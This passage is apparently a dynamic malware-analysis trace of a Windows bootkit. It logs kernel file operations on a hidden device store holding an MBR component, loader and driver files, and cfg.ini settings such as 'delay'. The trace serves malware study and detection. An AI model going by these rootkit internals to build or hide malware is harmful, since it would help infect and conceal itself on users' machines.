_Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.862] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.862] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.862] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.862] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.862] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.862] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.862] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.862] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.862] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.862] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.862] KeLeaveCriticalRegion () [0122.862] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.862] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.862] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.862] KeEnterCriticalRegion () [0122.862] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.862] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.862] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.862] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.862] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.862] IdePortDispatch () returned 0x103 [0122.862] KeWaitForMutexObject () returned 0x0 [0122.862] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.862] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.862] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.862] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.862] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.862] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.862] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.862] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.862] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.862] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.862] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.862] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.862] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.862] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.862] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.862] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.862] KeLeaveCriticalRegion () [0122.862] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.862] ReleaseMutex (hMutex=0x100) returned 1 [0122.863] Sleep (dwMilliseconds=0x2bf20) [0122.869] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c6de550, dwHighDateTime=0x1d24fa4)) [0122.869] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.869] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.869] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.869] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.869] KeEnterCriticalRegion () [0122.869] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.869] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.869] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.869] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.869] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.869] IdePortDispatch () returned 0x103 [0122.870] KeWaitForMutexObject () returned 0x0 [0122.870] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.870] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.870] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.870] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.870] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.870] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be8ab0 [0122.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.870] KeLeaveCriticalRegion () [0122.870] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.870] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.870] KeEnterCriticalRegion () [0122.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.870] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.870] KeLeaveCriticalRegion () [0122.870] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.870] KeEnterCriticalRegion () [0122.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.870] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.870] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.870] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.870] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.870] IdePortDispatch () returned 0x103 [0122.870] KeWaitForMutexObject () returned 0x0 [0122.871] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.871] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.872] KeLeaveCriticalRegion () [0122.872] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.872] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.872] KeEnterCriticalRegion () [0122.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.872] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d6b000 [0122.872] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.872] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.872] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.872] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.872] IdePortDispatch () returned 0x103 [0122.872] KeWaitForMutexObject () returned 0x0 [0122.872] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.872] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.872] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.872] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.872] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.872] IdePortDispatch () returned 0x103 [0122.872] KeWaitForMutexObject () returned 0x0 [0122.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.872] KeLeaveCriticalRegion () [0122.872] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.873] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.873] KeEnterCriticalRegion () [0122.873] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.873] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.873] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.873] KeLeaveCriticalRegion () [0122.873] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.873] KeEnterCriticalRegion () [0122.873] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.873] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.873] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be8880, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.873] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.873] KeLeaveCriticalRegion () [0122.873] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.873] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.873] KeEnterCriticalRegion () [0122.873] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.873] ExFreePoolWithTag (P=0xfffffa8003be8ab0, Tag=0x0) [0122.873] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.873] KeLeaveCriticalRegion () [0122.873] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.873] ReleaseMutex (hMutex=0xf0) returned 1 [0122.873] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.879] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.879] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.879] KeEnterCriticalRegion () [0122.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.879] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.879] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.879] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.879] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.879] IdePortDispatch () returned 0x103 [0122.880] KeWaitForMutexObject () returned 0x0 [0122.880] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.880] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.880] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.880] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.880] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.880] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be8a00 [0122.880] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.880] KeLeaveCriticalRegion () [0122.880] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.880] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.880] KeEnterCriticalRegion () [0122.880] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.880] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.880] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.880] KeLeaveCriticalRegion () [0122.880] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.880] KeEnterCriticalRegion () [0122.880] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.880] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.880] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.880] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.880] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.880] IdePortDispatch () returned 0x103 [0122.880] KeWaitForMutexObject () returned 0x0 [0122.880] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.880] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.880] KeLeaveCriticalRegion () [0122.880] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.881] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.881] KeEnterCriticalRegion () [0122.881] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.881] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d6e000 [0122.881] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.881] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.881] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.881] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.881] IdePortDispatch () returned 0x103 [0122.881] KeWaitForMutexObject () returned 0x0 [0122.881] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.881] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.881] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.881] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.881] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.881] IdePortDispatch () returned 0x103 [0122.881] KeWaitForMutexObject () returned 0x0 [0122.881] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.881] KeLeaveCriticalRegion () [0122.881] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.882] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.882] KeEnterCriticalRegion () [0122.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.882] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.882] KeLeaveCriticalRegion () [0122.882] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.882] KeEnterCriticalRegion () [0122.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.882] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.882] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7120, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.882] KeLeaveCriticalRegion () [0122.882] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.882] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.882] KeEnterCriticalRegion () [0122.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.882] ExFreePoolWithTag (P=0xfffffa8003be8a00, Tag=0x0) [0122.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.882] KeLeaveCriticalRegion () [0122.882] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.882] ReleaseMutex (hMutex=0xf0) returned 1 [0122.882] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.882] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.882] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.882] KeEnterCriticalRegion () [0122.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.882] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.882] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.882] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.882] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.882] IdePortDispatch () returned 0x103 [0122.882] KeWaitForMutexObject () returned 0x0 [0122.883] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.883] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.883] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.883] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.883] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.883] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be8720 [0122.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.883] KeLeaveCriticalRegion () [0122.883] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.883] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.883] KeEnterCriticalRegion () [0122.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.883] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.883] KeLeaveCriticalRegion () [0122.883] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.883] KeEnterCriticalRegion () [0122.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.883] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.883] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.883] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.883] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.883] IdePortDispatch () returned 0x103 [0122.883] KeWaitForMutexObject () returned 0x0 [0122.883] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.883] KeLeaveCriticalRegion () [0122.883] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.883] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.883] KeEnterCriticalRegion () [0122.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.883] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d6f000 [0122.883] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.883] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.883] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.883] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.883] IdePortDispatch () returned 0x103 [0122.884] KeWaitForMutexObject () returned 0x0 [0122.885] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.885] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.885] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.885] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.885] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.885] IdePortDispatch () returned 0x103 [0122.886] KeWaitForMutexObject () returned 0x0 [0122.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.886] KeLeaveCriticalRegion () [0122.886] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.886] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.886] KeEnterCriticalRegion () [0122.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.886] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.886] KeLeaveCriticalRegion () [0122.887] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.887] KeEnterCriticalRegion () 